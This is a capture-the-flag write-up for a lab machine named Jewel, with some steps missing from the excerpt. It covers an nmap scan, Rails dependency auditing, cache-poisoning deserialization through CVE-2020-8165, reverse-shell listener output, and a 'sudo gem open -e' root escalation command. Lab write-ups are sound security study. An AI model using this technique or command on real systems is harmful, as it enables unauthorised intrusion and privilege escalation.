# Nmap 7.91 scan initiated Wed Feb 17 19:56:48 2021 as: nmap -sSVC -p- -v -oA nmap_scan 10.10.10.211 Nmap scan report for 10.10.10.211 Host is up (0.030s latency). Not shown: 65532 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 fd:80:8b:0c:73:93:d6:30:dc:ec:83:55:7c:9f:5d:12 (RSA) | 256 61:99:05:76:54:07:92:ef:ee:34:cf:b7:3e:8a:05:c6 (ECDSA) |_ 256 7c:6d:39:ca:e7:e8:9c:53:65:f7:e2:7e:c7:17:2d:c3 (ED25519) 8000/tcp open http Apache httpd 2.4.38 |_http-generator: gitweb/2.20.1 git/2.20.1 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS | http-open-proxy: Potentially OPEN proxy. |_Methods supported:CONNECTION |_http-server-header: Apache/2.4.38 (Debian) | http-title: 10.10.10.211 Git |_Requested resource was http://10.10.10.211:8000/gitweb/ 8080/tcp open http nginx 1.14.2 (Phusion Passenger 6.0.6) |_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: nginx/1.14.2 + Phusion Passenger 6.0.6 |_http-title: BL0G! Service Info: Host: jewel.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Wed Feb 17 19:58:46 2021 -- 1 IP address (1 host up) scanned in 118.32 seconds
We have gitweb/2.20.1 on port 8000 and Phusion Passenger 6.0.6 on port 8080.
It's not mandatory to analyse the source code but it will allow use to run the
website is we want to do some test or even the run bundle outdated to check
for outdated dependencies.
Before we do that, we can see in config.ru that the blog is a RoR app
(using Ruby on Rails web framework).
Seems that all dependencies are very outdated. We can install bundler-audit,
which is an equivalent for Ruby to npm audit in Nodejs, to check for CVE
impacting the dependencies.
Name: activestorage Version: 5.2.2.1 Advisory: CVE-2020-8162 Criticality: Unknown URL: https://groups.google.com/forum/#!topic/rubyonrails-security/PjU3946mreQ Title: Circumvention of file size limits in ActiveStorage Solution: upgrade to ~> 5.2.4.3, >= 6.0.3.1
Name: activesupport Version: 5.2.2.1 Advisory: CVE-2020-8165 Criticality: Unknown URL: https://groups.google.com/forum/#!topic/rubyonrails-security/bv6fW4S0Y1c Title: Potentially unintended unmarshalling of user-provided objects in MemCacheStore and RedisCacheStore Solution: upgrade to ~> 5.2.4.3, >= 6.0.3.1
Name: jquery-rails Version: 4.3.3 Advisory: CVE-2019-11358 Criticality: Medium URL: https://blog.jquery.com/2019/04/10/jquery-3-4-0-released/ Title: Prototype pollution attack through jQuery $.extend Solution: upgrade to >= 4.3.4
Vulnerabilities found!
The one one activesupport seems to be the most promising because unmarshalling
is a kind of deserialization that can lead to RCE:
1 2 3 4 5 6 7
Name: activesupport Version: 5.2.2.1 Advisory: CVE-2020-8165 Criticality: Unknown URL: https://groups.google.com/forum/#!topic/rubyonrails-security/bv6fW4S0Y1c Title: Potentially unintended unmarshalling of user-provided objects in MemCacheStore and RedisCacheStore Solution: upgrade to ~> 5.2.4.3, >= 6.0.3.1
A deserialization of untrusted data vulnernerability exists in rails < 5.2.4.3, rails < 6.0.3.1 that can allow an attacker to unmarshal user-provided objects in MemCacheStore and RedisCacheStore potentially resulting in an RCE.
The update method will cache a key username_<user_id> using user_params[:username]
which is user supplied and so untrusted.
It will cache the value and then try to update the database but if it fails it will
remove the cached value.
app/controllers/application_controller.rb L29-L40
1 2 3 4 5 6 7 8 9 10 11 12
defcurrent_username if session[:user_id] cache = ActiveSupport::Cache::RedisCacheStore.new(url:"redis://127.0.0.1:6379/0") @current_username = cache.fetch("username_#{session[:user_id]}", raw:true) do @current_user = current_user @current_username = @current_user.username end else @current_username = "guest" end return@current_username end
The key is also fetched with current_username method.
Let's see what is the format of an username to know if we can poison it.
So the username must contains only alphanumeric characters and be 3 to 25 chars
long.
At first glance it looks impossible to poison the username with a malicious
payload to corrupt the cache.
But a more in depth analysis shows that we will be able to perform our
deserialization to RCE.
Looking back at app/controllers/users_controller.rb the username is
written into the cache without any control (what we just saw in app/models/user.rb
are constraints on the database not the cache), then it will update the database
but fails because there username format won't we respected and so it will trigger
the cache deletion. But the deletion won't work because as the payload will be
evaluated it will crash the app (500 error) so the cached value will stay stored
and be retrieved on a subsequent fetch request.
Since it's an authenticated vulnerability (yes to update your username you need
an account), let's register one on the blog (http://10.10.10.211:8080/signup).
$ rlwrap pwncat -l 9999 -vv INFO: Listening on :::9999 (family 10/IPv6, TCP) INFO: Listening on 0.0.0.0:9999 (family 2/IPv4, TCP) INFO: Client connected from 10.10.10.211:51176 (family 2/IPv4, TCP) bash: cannot set terminal process group (811): Inappropriate ioctl for device bash: no job control in this shell bill@jewel:~/blog$ id uid=1000(bill) gid=1000(bill) groups=1000(bill)
Let's try another method: setting the same time on our machine. The box timezone:
1 2 3 4 5 6 7 8
$ timedatectl Local time: Sun 2021-02-21 21:08:22 GMT Universal time: Sun 2021-02-21 21:08:22 UTC RTC time: Sun 2021-02-21 21:08:21 Time zone: Europe/London (GMT, +0000) System clock synchronized: no NTP service: active RTC in local TZ: no
Matching Defaults entries for bill on jewel: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, insults
User bill may run the following commands on jewel: (ALL : ALL) /usr/bin/gem
PS: it's not an issue if there is a desync of a few seconds because the OTP
window is 17 codes so we can have a max desync of 17 x 30 sec.
Let's see the EoP for gem:
1 2 3 4 5 6 7 8
$ gtfoblookup linux sudo gem gem:
sudo:
Description: This requires the name of an installed gem to be provided (`rdoc` is usually installed). Code: sudo gem open -e "/bin/sh -c /bin/sh" rdoc
My paylmaod will be
1
sudo /usr/bin/gem open -e "/bin/sh -c /bin/bash" bundler